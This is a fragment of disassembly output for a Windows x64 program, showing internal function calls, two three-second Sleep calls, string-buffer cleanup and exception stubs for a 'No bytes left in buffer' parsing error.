jne 0x14000642c
lea rcx, [rsp + 0x5d0]
call fcn.140008510
jmp case.0x140005bb4.11
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x70]
call fcn.14000d840
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0x78], 0
jne 0x140006432
lea rcx, [rsp + 0x5d0]
call fcn.140008510
jmp case.0x140005bb4.11
lea rcx, [rsp + 0x260]
call fcn.140001620
mov r8d, eax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140009f10
lea rcx, [rsp + 0x5d0]
call fcn.1400017b0
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x5d0]
call fcn.140001850
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x40]
call fcn.14000d8f0
nop
mov rcx, rax
call fcn.140003330
nop
cmp dword [rsp + 0x48], 0
jne 0x140006438
lea rcx, [rsp + 0x5d0]
call fcn.140008510
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x370]
call fcn.1400017b0
nop
lea rcx, [rsp + 0x390]
call fcn.1400017b0
nop
lea rcx, [rsp + 0x3d0]
call fcn.1400017b0
nop
lea rcx, [rsp + 0x3f0]
call fcn.1400017b0
nop
lea rcx, [rsp + 0x350]
call fcn.1400017b0
nop
lea rcx, [rsp + 0x298]
call fcn.1400017b0
nop
lea rcx, [rsp + 0x3b0]
call fcn.1400017b0
nop
lea rcx, [rsp + 0x260]
call fcn.140001430
mov r15, qword [rsp + 0x38]
jmp 0x140005460
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rsp + 0x260]
cmp qword [rsp + 0x278], 0x10
cmovae rax, qword [rsp + 0x260]
mov qword [rsp + 0x270], r12
mov byte [rax], 0
mov qword [rsp + 0x280], r12
mov rdx, qword [rsp + 0x278]
cmp rdx, 0x10
jb 0x140005460
inc rdx
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000643e
jmp 0x140005a8a
mov rcx, qword [rsp + 0x18cc0]
xor rcx, rsp
call fcn.140016940
lea r11, [rsp + 0x18cd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.14001cd3c
nop
call fcn.140001b30
call fcn.14001cd3c
nop
call fcn.14001cd3c
nop
call fcn.14001cd3c
nop
call fcn.14001cd3c
nop
call fcn.14001cd3c
nop
call fcn.14001cd3c
nop
call fcn.14001cd3c
int3
lea rdx, str.No_bytes_left_in_buffer.
lea rcx, [rsp + 0x5d0]
call fcn.140001810
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x110]
call fcn.140002370
lea rdx, [0x140055188]
lea rcx, [rsp + 0x110]
call fcn.1400186e4
nop
call fcn.14001cd3c
nop
lea rdx, str.No_bytes_left_in_buffer.
lea rcx, [rsp + 0x5d0]
call fcn.140001810
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0xe0]
call fcn.140002370
lea rdx, [0x140055188]
lea rcx, [rsp + 0xe0]
call fcn.1400186e4
nop
lea rdx, str.No_bytes_left_in_buffer.
lea rcx, [rsp + 0x128]
call fcn.140001810
nop
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0xf8]
call fcn.140002370
lea rdx, [0x140055188]
lea rcx, [rsp + 0xf8]
call fcn.1400186e4
nop
call fcn.140001b30
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.140022e8c
nop
call fcn.14001cd3c
int3